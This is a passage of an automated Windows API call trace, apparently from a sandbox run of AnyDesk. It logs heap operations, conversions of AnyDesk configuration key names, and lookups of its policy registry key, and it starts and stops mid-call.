RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f138 [0190.036] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef0cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0190.036] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe1b350 [0190.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef0cc, cbMultiByte=-1, lpWideCharStr=0xe1b350, cchWideChar=25 | out: lpWideCharStr="ad.anynet.two_factor_key") returned 25 [0190.036] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe12fa8 [0190.036] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe2a468 [0190.036] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b350 | out: hHeap=0x3b0000) returned 1 [0190.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef0e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0190.036] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f498 [0190.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef0e8, cbMultiByte=-1, lpWideCharStr=0xe2f498, cchWideChar=34 | out: lpWideCharStr="ad.security.two_factor_auth_flags") returned 34 [0190.036] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe12fc0 [0190.036] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f5d8 [0190.037] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f498 | out: hHeap=0x3b0000) returned 1 [0190.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ff87c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0190.037] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe16660 [0190.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ff87c, cbMultiByte=-1, lpWideCharStr=0xe16660, cchWideChar=20 | out: lpWideCharStr="ad.custom_client_id") returned 20 [0190.037] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe12fd8 [0190.037] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe2ab78 [0190.037] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fce84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0190.037] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe1b350 [0190.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fce84, cbMultiByte=-1, lpWideCharStr=0xe1b350, cchWideChar=26 | out: lpWideCharStr="ad.debug.dump_inject_keys") returned 26 [0190.037] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe12ff0 [0190.037] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe31ef8 [0190.038] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b350 | out: hHeap=0x3b0000) returned 1 [0190.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fcf60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0190.038] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe142b0 [0190.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fcf60, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=24 | out: lpWideCharStr="ad.debug.dump_rcvd_keys") returned 24 [0190.038] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13008 [0190.038] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f170 [0190.038] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ffb78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0190.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe142b0 [0190.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ffb78, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=24 | out: lpWideCharStr="ad.debug.dump_sent_keys") returned 24 [0190.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13020 [0190.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f1a8 [0190.039] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9f6c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0190.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe14c40 [0190.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9f6c, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=14 | out: lpWideCharStr="ad.debug.fuzz") returned 14 [0190.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13038 [0190.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe15398 [0190.039] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9a7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0190.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe16660 [0190.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9a7c, cbMultiByte=-1, lpWideCharStr=0xe16660, cchWideChar=17 | out: lpWideCharStr="ad.features.motd") returned 17 [0190.039] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13050 [0190.040] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe2aba8 [0190.040] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x140) returned 0xe0f728 [0190.040] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe00108 | out: hHeap=0x3b0000) returned 1 [0190.041] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0190.041] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe142b0 [0190.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19dad60, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=23 | out: lpWideCharStr="ad.msg.channels_states") returned 23 [0190.041] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13068 [0190.041] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f1e0 [0190.041] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19dad54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0190.041] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0b988 [0190.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19dad54, cbMultiByte=-1, lpWideCharStr=0xe0b988, cchWideChar=12 | out: lpWideCharStr="ad.msg.data") returned 12 [0190.042] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13080 [0190.042] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0bb48 [0190.042] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b988 | out: hHeap=0x3b0000) returned 1 [0190.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c7cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0190.042] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe1b350 [0190.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c7cc, cbMultiByte=-1, lpWideCharStr=0xe1b350, cchWideChar=25 | out: lpWideCharStr="ad.license.auto_reg_hash") returned 25 [0190.042] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13098 [0190.042] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe31f38 [0190.042] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b350 | out: hHeap=0x3b0000) returned 1 [0190.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ff8a4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0190.042] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe14c40 [0190.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ff8a4, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=14 | out: lpWideCharStr="ad.license.id") returned 14 [0190.042] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe130b0 [0190.042] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe112d0 [0190.042] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d508c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.043] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe14c40 [0190.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d508c, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=16 | out: lpWideCharStr="ad.license.name") returned 16 [0190.043] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe130c8 [0190.043] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe112f8 [0190.043] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19eb938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0190.043] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe16660 [0190.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19eb938, cbMultiByte=-1, lpWideCharStr=0xe16660, cchWideChar=19 | out: lpWideCharStr="ad.privacy.trigger") returned 19 [0190.043] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe130e0 [0190.043] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe2abd8 [0190.043] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef1b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0190.043] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe142b0 [0190.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef1b8, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=24 | out: lpWideCharStr="ad.security.acl_trigger") returned 24 [0190.043] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe130f8 [0190.044] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f218 [0190.044] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00fd8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0190.044] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe1b350 [0190.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00fd8, cbMultiByte=-1, lpWideCharStr=0xe1b350, cchWideChar=27 | out: lpWideCharStr="ad.service.remove_at_start") returned 27 [0190.044] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13110 [0190.044] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe31f78 [0190.044] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b350 | out: hHeap=0x3b0000) returned 1 [0190.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a05f60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0190.044] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe142b0 [0190.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a05f60, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=23 | out: lpWideCharStr="ad.restart.restore_bcd") returned 23 [0190.045] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13128 [0190.045] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f250 [0190.045] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fc880, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.045] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe14c40 [0190.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fc880, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=16 | out: lpWideCharStr="ad.roster.items") returned 16 [0190.045] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13140 [0190.046] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11320 [0190.046] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16fdc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0190.046] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe16660 [0190.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16fdc, cbMultiByte=-1, lpWideCharStr=0xe16660, cchWideChar=20 | out: lpWideCharStr="ad.roster.recent_in") returned 20 [0190.046] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13158 [0190.046] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe2ac08 [0190.046] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16ff0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0190.047] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe142b0 [0190.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16ff0, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=21 | out: lpWideCharStr="ad.roster.recent_out") returned 21 [0190.047] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13170 [0190.047] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0f288 [0190.047] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c4044, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0190.047] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0b988 [0190.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c4044, cbMultiByte=-1, lpWideCharStr=0xe0b988, cchWideChar=12 | out: lpWideCharStr="ad.ui.debug") returned 12 [0190.047] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13188 [0190.047] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0bb68 [0190.047] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b988 | out: hHeap=0x3b0000) returned 1 [0190.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e6a3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0190.047] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe142b0 [0190.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e6a3c, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=22 | out: lpWideCharStr="ad.ui.inst_info_count") returned 22 [0190.047] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe131a0 [0190.048] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0f2c0 [0190.048] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17008, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0190.048] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe16660 [0190.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17008, cbMultiByte=-1, lpWideCharStr=0xe16660, cchWideChar=18 | out: lpWideCharStr="ad.ui.last_advert") returned 18 [0190.048] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe131b8 [0190.048] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe2ac38 [0190.048] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a1701c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0190.048] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe142b0 [0190.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a1701c, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=21 | out: lpWideCharStr="ad.ui.recommended_ad") returned 21 [0190.049] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe131d0 [0190.049] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0f2f8 [0190.049] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17034, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0190.049] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe16660 [0190.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17034, cbMultiByte=-1, lpWideCharStr=0xe16660, cchWideChar=18 | out: lpWideCharStr="ad.ui.show_social") returned 18 [0190.049] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe131e8 [0190.049] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe2ac68 [0190.049] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.049] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0b988 [0190.050] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324ef0 | out: phkResult=0x324ef0*=0x0) returned 0x2 [0190.050] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bb88 [0190.050] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe16660 [0190.050] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x324eb8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ebc, lpcbMaxValueNameLen=0x324ec8, lpcbMaxValueLen=0x324ec4, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e8c | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x324eb8*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ebc*=0x0, lpcbMaxValueNameLen=0x324ec8, lpcbMaxValueLen=0x324ec4, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e8c) returned 0x6 [0190.050] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.050] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324ef0 | out: phkResult=0x324ef0*=0x0) returned 0x2 [0190.051] GetCurrentProcess () returned 0xffffffff [0190.051] GetProcessId (Process=0xffffffff) returned 0x994 [0190.051] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324f08 | out: pSessionId=0x324f08) returned 1 [0190.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bba8 [0190.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0bbc8 [0190.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0ed90 [0190.051] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bba8 | out: hHeap=0x3b0000) returned 1 [0190.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bba8 [0190.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13200 [0190.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe16660 [0190.051] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x324eb8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ebc, lpcbMaxValueNameLen=0x324ec8, lpcbMaxValueLen=0x324ec4, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e8c | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x324eb8*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ebc*=0x0, lpcbMaxValueNameLen=0x324ec8, lpcbMaxValueLen=0x324ec4, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e8c) returned 0x6 [0190.051] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.051] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ed90 | out: hHeap=0x3b0000) returned 1 [0190.051] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bae8 | out: hHeap=0x3b0000) returned 1 [0190.052] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b988 | out: hHeap=0x3b0000) returned 1 [0190.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e3ad8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0190.052] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0b988 [0190.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e3ad8, cbMultiByte=-1, lpWideCharStr=0xe0b988, cchWideChar=12 | out: lpWideCharStr="system.conf") returned 12 [0190.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0190.052] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0ed90 [0190.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0xe0ed90, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0190.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0190.052] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0eda0 [0190.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0xe0eda0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0190.052] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe142b0 [0190.052] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0eda0 | out: hHeap=0x3b0000) returned 1 [0190.052] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2f498 [0190.052] HeapFree (in: hHeap=0x3b0000, 